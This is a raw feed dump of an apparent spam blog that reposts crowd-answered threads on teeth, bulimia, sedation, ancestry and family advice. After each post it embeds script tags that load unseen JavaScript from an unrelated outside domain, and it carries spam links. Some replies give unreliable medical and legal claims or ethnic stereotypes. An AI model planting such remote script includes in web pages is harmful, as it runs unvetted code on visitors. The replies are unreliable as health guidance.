/><br><br /><br /> <br><br /><br /><br><br /><br /> Silver Fillings Are Significantly Raised <br><br /><br /><br><br /><br /> <br><br /><br /><br><br /><br />Braces and temporary restorations may not stay on the teeth because the acid will dissolve the temporary cement used to keep these materials in place. <br><br /><br />Teeth may be discolored or look dull from the acid. <br><br /><br />Bleeding of the gums. <br><br /><br /> <br><br /><br />Are you over 18? <br><br /><br /><br><br /><br />If you aren't he may tell your mother, but I think it would be best if you told her your self. If you have had this disorder for years you should see a doctor.<br>Reply:Well if your under 18 the dentist can tell your mom. plus if you do puke because of what your mom says tell your mom tell her to stop saying that because your constant pukeing can kill you. also your puke is causing your cavities because of the acid your puking up try to brush your teeth after you puke (every time)!!<br>Reply:do you have another relative you can talk to ? if not then a teacher at school.you need help and the only way to get it is to let someone know what you are doing.please talk to someone about your problem as it will effect your life so much.you are still young and one day you will realise that size does not matter it is the person inside that counts.<br>Reply:it's already bad enough feeling bad about being fat. You don't want to have ugly teeth!! Your Mom is the one with the problem if she said you are fat. Sounds like your whole family needs help. Please...............get it.<br>Reply:look at it this way-would you rather DIE than tell your mum?you are killing yourself.get real here.ok so yr big,with proper menu's and sensible eating you can level your weight out.you know this.bulemia is almost the easy way out,but also the hardest on your body.tell your mum,shes telling you your fat for a reason,but shes tellling you in the wrong way.tell her then get help.prove your a sensible person.not a stupid one<br>Reply:Speak to your mum I am sure that she will be more understanding if you explain how hurtful you are finding her comments.<br><br /><br />Try to talk to her Please. If you really feel you can not speak to her then write her a letter. I am sure she will try to help you.<br><br /><br />If you need some one to speak to try a teacher or you can contact me by email.<br><br /><br />I have a 15 year old daughter who is struggling with her weight. I hope and pray that if she was upset by anything I said she would be able to talk to me.<br><br /><br /><br><br /><br />Good luck.<br>Reply:1stly the dentist not allowed to tell ur mom, and 2ndly ur mom is a cow for calling u fat! Start of by telling a teacher or school councillor abt ur prob.. then see where that takes u.<br>Reply:*** out the closet<br>Reply:You dont say how old you are. I think your mum needs to know that you have a problem. I think she needs to know that by saying you are fat she is making it worse.<br><br /><br />You need to get help because there are more problems than just cavities associated with bulimia...<br><br /><br /><br><br /><br />Erosion of tooth enamel because of repeated exposure to acidic gastric contents. <br><br /><br />Dental cavities, sensitivity to hot or cold food. <br><br /><br />Swelling and soreness in the salivary glands (from repeated vomiting).<br><br /><br />Stomach Ulcers. <br><br /><br />Ruptures of the stomach and esophagus.<br><br /><br />Abnormal buildup of fluid in the intestines.<br><br /><br />Disruption in the normal bowel release function.<br><br /><br />Electrolyte imbalance.<br><br /><br />Dehydration<br><br /><br />Irregular heartbeat and in severe cases heart attack<br><br /><br />A greater risk for suicidal behavior<br><br /><br />Decrease in libido<br><br /><br /><br><br /><br />I think getting help would make telling your mum worthwhile?<br>Reply:plz tell her...thats very dangerous...my cuz had bulimia and anorexia and was dieing...until finally my aunt found out and took her to the hospital and know shes fine...ther are many other ways to lose weight if u really need it..and puking after meals is not one of them...so plz tell ure mom or someone so that u can get help...good luck ♥<br>Reply:One the Dentist can not tell her and if he does you can sew him and second dont listen to your mom its not right for her tobe calling you fat see my mom calls me fat so i jus turn around and tell her shes fat to i bet you anything you are not fat you probably have a good lookin body (not to be gross). like when people say i am ugly i jus ignore them and tell myself im not ugly im beautiful well i could try and help you get over you problem if you want some help!! and i wont tell anyone about it or anything!!!! Also if you tell your mom she will be willing to help and she would probably stop calling you fat after you tell her what she did to you.<br>Reply:hey, first i just want to say thats disgusting, throwing up all the time, and now having yucky cavities in your teeth. ewwww. what you should do is come clean about your disorder and get help right away, i mean if it did that to u, it sounds pretty serious. and, like drink calcium. If you are fat, why don't u just lose weight the right way, which is eating healthy and excercize<br>Reply:Hey your health comes first, so please please chat to a professional about this. Have you tried speaking to your school nurse? There are many child help lines who I'm sure can put you in touch with somebody. You need help in getting over your bulimia, you will regret it in later life if you don't . Most girls lose their 'puppy fat' towards the end of their teens anyway so stop obsessing over what you mother thinks of your weight. Rather concentrate on the good aspects of yourself. Take up a sport rather than obsessing over food.<br>Reply:They can tell by the staining on the inner sides of your teet that you throw up frequently, and no if you ask them not to they cant. At least in the US they cant, u said "mum" so im assuming ur not american. Well in the Us we have a law called patient confidentiality. This is one thing most bulemics dont realize, throwing up like this can cause severe damage to your teeth, and who wants that?<br>Reply:Depending where you live and how old you are, the dentist might have the legal responsibility to tell your mother. Remember that the laws are there to protect your freedom, but also your health. So if you are a minor (age changes between countries/states), the dentist could get in trouble if he doesn't tell!!!<br><br /><br />Good luck.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-38958221566553103462010-05-21T20:26:00.002-07:002010-05-21T20:26:44.663-07:00Irish or Scottish too?My family roots are either Irish or Scottish.<br><br /><br /><br><br /><br />Please help me with your opinion.<br><br /><br /><br><br /><br />My grandparents have passed away and I never knew them.<br><br /><br /><br><br /><br />Saw a picture of my grandfather: he had red hair and red complexion. His nose was big and long with no mound.<br><br /><br />His chin was long and big.<br><br /><br /><br><br /><br />As for me:<br><br /><br /><br><br /><br />I am red with red hair and freckles. My entire body can get very red, the forehead, neck, hands,feet, legs, etc.<br><br /><br /><br><br /><br />My nose has a tiny mound. (I am not Jewish or Middle Eastern. They have deeper and bigger bumps)<br><br /><br /><br><br /><br />My favorite animal is a frog. They are very cute in drawings, paintings, etc. Even though, my friends like dogs and cats, I prefer frogs.<br><br /><br /><br><br /><br />My teeth stain very very easily from drinking tea. I am the top stainer in the my dentist's office.<br><br /><br /><br><br /><br />My voice is the loudest in the family, at work, etc. No microphone is needed. My voice is great for hailing down a <br><br /><br />cab. <br><br /><br /><br><br /><br />My eyelids get very dry.<br><br /><br /><br><br /><br />My brother is a natural playing the violin and naturally sings in tune. A concertmaster.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Irish or Scottish too?<br>lol<br><br /><br /><br><br /><br />It was at the frog part i just couldn't hold back the laughter.<br>Reply:haha! that's good man... yeh I'd say yr either Irish rr scottish!<br><br /><br /><br><br /><br />cheers to that bro!<br>Reply:Could be either Irish or Scottish. Are you interested in Celtic culture?<br>Reply:You could be anything. Not all Irish and/or Scottish people like frogs. This is a bizarre question. One of many.<br>Reply:I'm sorry, but I find this question stupid %26amp; mildly offensive. You are trying to stereotyp the way Scottish or Irish people look. We don't all have red hair (indeed most of us are blonde or have brown hair). All this rubbish you are spouting about shapes of noses reminds me of what the Nazi's were trying to do in WWII to the Jewish people by trying to characterise them by the shapes of their noses/skulls etc.<br><br /><br /><br><br /><br />Let's address your question point by point:<br><br /><br /><br><br /><br />1: If you are red, get to the doctor VERY quickly. Loads of people have red hair %26amp; freckles. I know I was more red when younger, i'm sort of brown haired now. Doesn't mean you are Scottish or Irish i'm afraid. Scots %26amp; Irish have typically very fair skin.<br><br /><br /><br><br /><br />2: Read what I said about Nazi's reagarding your comments about the shape of your nose.<br><br /><br /><br><br /><br />3: What does a favourite animal have to do with whether you are Scottish or Irish?<br><br /><br /><br><br /><br />4: Similarly what does the fact your teeth stain easily have to do with a cultural background.<br><br /><br /><br><br /><br />5: The point you raise about being loud as well is nonsense %26amp; has no bearing on whether you are Scottish or Irish.<br><br /><br /><br><br /><br />6: Neither does having dry eyelids!<br><br /><br /><br><br /><br />7: Maybe you've got a Russian background then. It's just not Scots or Irish that play fiddles.<br><br /><br /><br><br /><br />I'm not really sure what the point of your question was, but if it was to offend, it certainly did me. Sorry.<br><br /><br />:(<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://2leather-sandals.blogspot.com/>leather sandals</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-13507953073985954882010-05-21T20:26:00.001-07:002010-05-21T20:26:28.852-07:00Irish or Scottish Roots?My family roots are either Irish or Scottish.<br><br /><br /><br><br /><br />Please help me with your opinion.<br><br /><br /><br><br /><br />My grandparents have passed away and I never knew them.<br><br /><br /><br><br /><br />Saw a picture of my grandfather: he had red hair and red complexion. His nose was big and long with no mound.<br><br /><br />His chin was long and big.<br><br /><br /><br><br /><br />As for me:<br><br /><br /><br><br /><br />I am red with red hair and freckles. My entire body can get very red, the forehead, neck, hands,feet, legs, etc.<br><br /><br /><br><br /><br />My nose has a tiny mound. (I am not Jewish or Middle Eastern. They have deeper and bigger bumps)<br><br /><br /><br><br /><br />My favorite animal is a frog. They are very cute in drawings, paintings, etc. Even though, my friends like dogs and cats, I prefer frogs.<br><br /><br /><br><br /><br />My teeth stain very very easily from drinking tea. I am the top stainer in the my dentist's office.<br><br /><br /><br><br /><br />My voice is the loudest in the family, at work, etc. No microphone is needed. My voice is great for hailing down a<br><br /><br />cab.<br><br /><br /><br><br /><br />My eyelids get very dry.<br><br /><br /><br><br /><br />My brother is a natural playing the violin and naturally sings in tune. A concertmaster.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Irish or Scottish Roots?<br>You sound a bit mental so you most likely do have Irish or Scottish roots. Probably a bit of both I think. Congratulations of being top stainer at your dentist's and use some eye drops to hydrate you eyes too!<br>Reply:so because your ginger with freckles you musy be irish or scottish!!!<br>Reply:I realy don't know. But I am certain there are family tree sites that may help you? Good Luck...<br>Reply:I think you should try researching surnames and their origins that may give you a hint more so than just your features alone.<br><br /><br />Also read this it may help http://irishtribesman.blogspot.com/2007/...<br>Reply:None of these physical attributes would say you are scottish or irish.<br><br /><br />However the majority of irish and scottish people are descendants of celts .<br><br /><br />The celtic appearance was reputedly fair skin, possibly freckled, and fair or red hair.<br><br /><br />You may be onto something!<br><br /><br />Good luck<br>Reply:Combination of both, your a little mad, maybe a bit drunk but very amusing, thanks for the laughx<br>Reply:Lol you must be the little leprechaun in my Garden that everybody keeps on stealing,but I can never get him back.Please bring him him back cause I love him and miss him,SOB SOB SOB!!!!!!!please bring him back will yeah,me heart's broken.!!!!!!!!!!!SOB SOB SOB.!!!!!!!!!!!!!!!<br>Reply:you sound like a mongrel.<br><br /><br />in human terms mixed, just like all the other europeans.<br><br /><br />roman irish scottish norman etc be proud as mongrels are the cleverest.<br><br /><br />you are not inbred.<br><br /><br /><br><br /><br />just dont move to the med or you will fry.<br>Reply:Could certainly be either, with the red hair... however, simply looking at your physical features and skills, talents, and traits is probably not enough to help. (For example, both of my grandfathers had dark brown/black hair, but I am dark blonde, my sister has the most gorgeous coppery red hair you've ever seen, and my brother is strawberry blond. Hard to tell from looks. One of those dark grandfathers was Irish!)<br><br /><br /><br><br /><br />I'm gathering from your question that there's nobody in your family that would be able to tell you any family history. But do you know the names of your parents, grandparents, any other family members? How about birth dates and/or places? You can try online sites that can trace your family tree (Google the phrase "trace family tree" and it will come up with several, including the well-thought-of Ancestry.com). Check out www.ehow.com/how_490_trace-family-tree.h... for some more complete directions.<br><br /><br /><br><br /><br />I wish you luck!<br>Reply:ire man you may be Jamaican<br>Reply:I think you are a troll. I've just answered an identical question to this one that you have previous posted, along with a stupid question about who eats more cabbage, Irish or Scots. What is your point behind posting such nonsense?<br><br /><br /><br><br /><br />Explain yourself!<br><br /><br /><br><br /><br />Here's the link to his other question people. Kinda proves my point that he a troll.<br>Reply:ummmmm...what does liking frogs have to do with anything? <br><br /><br />:-/<br>Reply:You like frogs? you MUST be French!!!!!!<br>Reply:You sound to me like you're North American,lacking in self-esteem and just wishing you were Irish or Scots.Live with it pal,you're a Canadian or a Yank,nothing to be hung up about if you're a decent bloke.<br>Reply:You could be either.<br>Reply:deffo Irish or fae Scotland go to genes reunited?<br>Reply:I know many English people who have red hair<br>Reply:Contrary to modern belief, most ginger headed people are from welsh descendency. I was born red haired - pillar box red, not ginger - and am a scot. However, aside a few platinums, we are generally blond or fair at birth, as are the irish.<br>Reply:Well, it's difficult to tell from your own character/appearance, and natural abilities and preferences don't coincide with ethnicity. However, the Scottish Highlands have the highest percentage of people with red hair in the population in the world, so that would be my guess.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-12391744226557334582010-05-21T20:26:00.000-07:002010-05-21T20:26:12.012-07:00Is conscious sedation like Xanax? I know I'll be somewhat conscious, but will that be enough not to terrify meI'm trying to figure out why or how conscious sedation will allow me to be awake and watch a dentist stick a syringe and drill in my mouth without me knowing/caring. im terrified of this stuff. my dentist also told me to get an anxiety pill from my family doctor. i think the anxiety pill from my family doctor is xanax.. will that work as a conscious sedation pill? are all anxiety medicines and conscious sedation pills have the same affect?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Is conscious sedation like Xanax? I know I'll be somewhat conscious, but will that be enough not to terrify me<br>Yes pill is enough, it calms you down and relaxes you so that you are not anxious and your body reacts differently to the pain.<br>Reply:The xanax is just to calm you down before the procedure. They will put an iv in and possibly give you what is called Versed. Trust me when I say you will not have a clue as to what is going on. Also if you do, then after it is over you will not remember it. I just had an upper GI and under sedation and all I remember doing is asking the doctor a prescription that I needed. I remember nothing about the procedure. Don't worry about it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-84509993280668697062010-05-21T20:25:00.003-07:002010-05-21T20:25:56.811-07:00What to say?My fiancee and I are a young couple and are getting married next year and everyone I tell tells me that I am too young to get married and it really is making me mad. They are like trying to control my life and telling me that I can't do it at such a young age. Most of the people that are telling me this is not even my family AT ALL, like for instance i went to my dentist for a cleaning and was trying to talk me out of it and pressuring me into going to a certain college and i just wanted to tell her off so bad. What should I tell people that are doing this to me? Also, I still haven't told my real dad that I am engaged and am afraid how he going to react to it. I haven't seen him for the past 3 years and he is still very overly protective. Should both of us tell him at the same time or should I do it on my own. He lives too far away to go and see hime in person so...yeah. Any suggestions?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>What to say?<br>well, since you did not list your age, i am just going to assume you are 18 and just graduated. Some people do that, get married right out of high school and are just fine. Others aren't. Money is going to be a bigger problem in your relationship though and you will have to learn to be an adult with a person who is learning too. it can be done, but will be rough<br>Reply:your dad will know sooner or later its best you tell him early the longer you shake the bottle the stronger the pop.<br>Reply:Um, if you're over 18, you're legally not too young to get married....<br><br /><br /><br><br /><br />However, if you're "worried" about telling your dad, if you're worried about people controlling your life, if what your dentist thinks matters so much to you, then I've got 1 thing to say to you...<br><br /><br /><br><br /><br />You're too young to get married.<br>Reply:Well if you, a woman, has a fiancee that means you are marrying a woman. No wonder everyone is upset.<br><br /><br />IF however, you are marrying your fiance, who is a male, then why is everyone who knows you so concerned? They must not see a maturity in you yet. Why are YOU in a rush to get married? Are you wanting out of the house you live in? <br><br /><br />If this is the one and only man for you, then the love will endure while you both go to college and get skills for jobs that will support you both and your children. <br><br /><br /><br><br /><br />Regarding your father -- it is supposed to be the man who asks your father for your hand in marriage...so he should be calling your Dad.<br><br /><br /><br><br /><br />Wait, it won't hurt a bit.<br>Reply:You know what it is - marriage isn't about having a boyfriend anymore - it's an economical institution that binds you legally to be responsible for each other in a way that forces you to deal with seeing each other day in day out forever until you get old and die, people don't think about that reality before saying yes - it's like are you guys willing to go to hell for each other and for how long, will you give up on each other or remember to bring out each other's best??? It's hard to know, people grow in different directions and to think long term is difficult too.<br><br /><br /><br><br /><br />About telling your dad, it would mean a lot to him to know, but you do what is comfortable for you and do that one by yourself.<br>Reply:They aren't trying to control your life, they are looking out for your best interest. Unfortunately 50% of married couples end up divorced and that is horrible for they couple and it's family.<br>Reply:It's kinda funny: You get mad at being called "too young to get married", then worry about getting in trouble from you dad about it.<br><br /><br /><br><br /><br />Look, they're entitled to their opinion. But it's kind of rude on their part. I'd just smile and change the subject. Getting all hot and bothered about it will not make you appear at all mature, and you'd just be proving their point.<br><br /><br /><br><br /><br />As far as your dad goes, sooner is better than later, especially if he is paying for it. There is a tradition that the groom approaches the bride's parents for their blessing. But do what feels best. A phone call from you might just be your best course of action.<br><br /><br /><br><br /><br />I really wish you all the best for your wedding!<br>Reply:You should watch "Engaged and Underage" on MTV. And maybe have a longer engagement. I'm 25, as well as my boyfriend, and we're not engaged yet, but I'm still concerned about what our money situation will be when we do tie the knot. We're both students and don't exactly make a lot of money. I know that when my friend got married (she's 23 and he's 31) her parents cut her off financially, except for her car, which is owned by her family company. You need to think about things like where you'll live, when to have kids, what to do about things like cars and car insurance, your future careers, and if school is in your future. It usually doesn't work that two people can get married and go to school at the same time. I wish you the best!!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-31341971642699289992010-05-21T20:25:00.002-07:002010-05-21T20:25:40.998-07:00Anybody remember the name of this show?It was about a teenage girl who had blonde hair and her crazy family. It was a comedy and the dad was a dentist. The grandma lived with them too and always hid food arround the house. The mother was very cheap also. Thanks for helping.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Anybody remember the name of this show?<br>sorry im not too sure of what show that would be but this is the closest i can find to that description. is it<br><br /><br />"Maybe it's me"?<br>Reply:Oliver Bean?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://beauty.imwebhost.com/makeup/>Makeup</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-63018364502583960762010-05-21T20:25:00.001-07:002010-05-21T20:25:25.136-07:00I've had 4 teeth pulled! Please help?Due to my parents neglecting my teeth when I was little, about 2 years ago I had 2 molars removed on my lower jaw on each side. I was considering getting teeth implants but, the dentist said it would cost about $7,500! I'm 20 years and have no family or support. I'm barely saving money for college. The dentist did recommend seeing a Orthodontist and seeing if they can move my wisdom teeth forward to close that big gap. Thats what I'm hoping for. This dentist I've been seeing is making me feel discouraged and hopeless. Does anyone know if orthodontist have helped people like this?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>I've had 4 teeth pulled! Please help?<br>an orthodontist would be able to fix a gap if you had a good tooth to move in its place. if your wisdom teeth are crap is it worth it?<br><br /><br /><br><br /><br />You can't blame your parents forever, you were 18 when you had those teeth out. Usually at age 10 a brain will develop, so brushing your teeth should have been maintained by yourself since about then. Your teeth needing to be pulled out at 18 unless they needed to be pulled out at age 10 this could be the fault of certain other people who may have been responsible for brushing your teeth ( other than your parents)...<br><br /><br /><br><br /><br />If you can't afford it now maybe you should just wait it out. It's never too late to get braces (tom cruise had braces a couple of years back and he ain't no spring chicken) unless your teeth have rotted to bits... but then again if they're rotting to bits you probably shouldn't get braces in the first place because you probably should focus on more important things such as eating food and drink that doesn't damage your teeth and cleaning them properly.<br>Reply:Ask for a second opinion.<br>Reply:Getting the braces will still cost a lot of money. You can decide to get the teeth replaced "at some time in the future" and your treatment options will probably be the same as they are today. The problem is, sometimes the upper molars will grow down below the rest of your upper teeth and then your "occlusal plane" will look like a roller coaster. This is not a good situation to restore. At a minimum, I'd ask about getting something like a simple night guard ($300-400) to wear while you sleep (or more) to act as a retainer to prevent this from happening until you graduate college and have that plush income. For this, you absolutely can NOT get one of those drug store deals, as it must fit your teeth very accurately and it must be made of a hard material. Another option, or something to consider in a few years (unless you have around $1,000 to spend today) would be to get a partial lower denture. This would serve as a "holding pattern" to help you chew while also keeping those upper teeth in place. You could still get implants, say 5 or 10 years down the line. You would just wear the partial until the implants were done.<br>Reply:were do u stay..I paid cash for my braces i was placed on a payment plan.....i wore them for 1 year..have u considered a partial..it will fit like a retainer but there will be teeth were your missing teeth are located<br>Reply:Not sure.<br><br /><br /><br><br /><br />But, you may wish to read a good article called "Implant Dentistry – The Convenient and Safe Alternative to Dentures". You can find it at:<br><br /><br />http://www.san-diego-dentist.us/san-dieg...<br><br /><br />http://www.san-diego-dentist.us/san-dieg...<br><br /><br />http://san-diego-dentists.blogspot.com<br><br /><br />http://www.san-diego-dentist.us/san-dieg...<br><br /><br />http://www.san-diego-dentist.us/tijuana-...<br><br /><br />http://www.san-diego-dentist.us/san-dieg...<br><br /><br />http://www.las-vegas-nevada-lawyer-attor...<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-91122732378776061532010-05-21T20:25:00.000-07:002010-05-21T20:25:09.076-07:00I need advice...?So here's the thing. My mom took off work on Friday to take me to the dentist. Then she wanted to take me to the doctor too. <br><br /><br /><br><br /><br />She's kinda mad because my boyfriend asked me to come to a city nearby with his family (I want to meet his family). and so now I'd like her to cancel the dentist so I can go, and the doctor. She's kinda mad.<br><br /><br /><br><br /><br />What should I do? Should I just not go with my boyfriend? I need advice!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>I need advice...?<br>well if your mom already took the day off to take care of you. I know you want to meet his parents, but what about your parents? Just do what you think should be done. but try to put yourself in your mother's shoes and think how you would feel. she's only doing it because she cares about you, trust me, some parents never take their children to the doctor or dentist, you should actually appreciate what you have and a mother that is willing to take the day off from work to take you :)<br><br /><br /><br><br /><br />there's always another day to meet the in laws :)<br><br /><br /><br><br /><br />good luck<br>Reply:well she did take of work just to take you......just go<br>Reply:knowing your age would help but maybe you shouldn't go. take the time to discuss your moms concerns. you can always meet his family later<br>Reply:Moms come first. I would go to the doctor. <br><br /><br />Meet the parents some other time.<br>Reply:Well, Mandieee, you're mom is just worried about you going all the way to another city with your boyfriend. You are obviously still young (yes, I know you think you're totally grown up, but when you're 25, you'll look back and realize you weren't.) Anyway, I'd say to respect your mom, and have your boyfriend come around more often, to get to know your family more and your mom can trust him more. However, if she sees something not quite right about his behavior toward you, you should listen to her, because she can see alot of stuff you can't. She's just protecting you! Just go to the appointments, and have a good time with your mom. Show her that you still love and respect her, and she'll feel a little better about you having a boyfriend. There will be other times to meet his parents / family.<br>Reply:Your mother took a day off to help take care of your health. So, don't hurt your mother. You can meet your boyfriend's family some other time.<br>Reply:Go to the doctor and dentist. Can't you go to meet the boyfriend's parents later in the afternoon or evening?<br><br /><br /><br><br /><br />Dentist and doctor appointments, especially when your mom has to take off work, take precedence over a last minute request by a boyfriend.<br>Reply:I suck at giving advice, sorry.<br><br /><br />But go to aglowstickformyvalentine.co.nr<br><br /><br />Oprah said something about it on her show and when I went on, it answered five minutes after I posted my question %26amp; it really helped.<br><br /><br />Sorry I can't help more!<br><br /><br />But hopefully this site will help.<br><br /><br />:D<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-39438737050783887832010-05-21T20:24:00.003-07:002010-05-21T20:24:52.805-07:00Broken tooth and wisdom tooth extraction...scared!?So I haven't been to the dentist in about 7 or 8 years because my family never had insurance and I never had anything majorily wrong with my teeth. Well about a year and a half ago my top left wisdom tooth started growing in and its kinda stopped now. It doesn't hurt or cause me any problems but it isn't fully grown in. My teeth are already kinda scrunched together as it is. Well this morning I woke up and the tooth on my top left (where my wisdom tooth is coming in) not the molar next to the wisdom but the 2nd to last one, the corner of is is loose and it feels like it broke but the piece is still attached. The tooth doesn't hurt or anything it's just annoying. Well anyways I called an oral surgeon and I have an appointment Monday to have an evaluation and then I might get my wisdom teeth pulled next week.<br><br /><br />So the question is...what should I expect from getting my teeth pulled? And what should i eat since my tooth is broken.<br><br /><br />Sorry so long but I'm kinda scared.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Broken tooth and wisdom tooth extraction...scared!?<br>i would eat soft foods like oatmeal, soups, etc...<br><br /><br /><br><br /><br />i wouldnt be scared about the surgery, they anesthitise you so you dont feel it. it is sore for 5 days after, but it will hurt worse it you leave it as is...<br><br /><br /><br><br /><br />good luck.<br>Reply:Don't worry about it, my friend had a wisdom tooth out last year and it didn't hurt at all! Just stick to soft foods for a while like soup and stuff, and you should be fine ;)<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0tag:blogger.com,1999:blog-8911884850373847658.post-10572452380005598432010-05-21T20:24:00.002-07:002010-05-21T20:24:36.859-07:00How much does it cost to whiten bonded tooth?okay so i broke half of one of my front teeth in 8th grade and had it bonded. I'm a junior and my teeth are SO yellow including the bonded teeth. If i used crest white strips or whatever to whiten my other teeth, how much will it cost for the dentist to match it to my other ones. My family doesnt have a lot of money so a rough estimate would be good. It doesnt seem too complicated..<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>How much does it cost to whiten bonded tooth?<br>It wouldn't be covered by insurance so your parents would have to pay the whole thing and depending on how much of the tooth needs to be bonded. Approx. 150-300..Also depending on where you live<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://www.myspace-codes.com.cn/layouts-for-myspace/>layouts for myspace</a>Arkwrighthttp://www.blogger.com/profile/16592782537945434481noreply@blogger.com0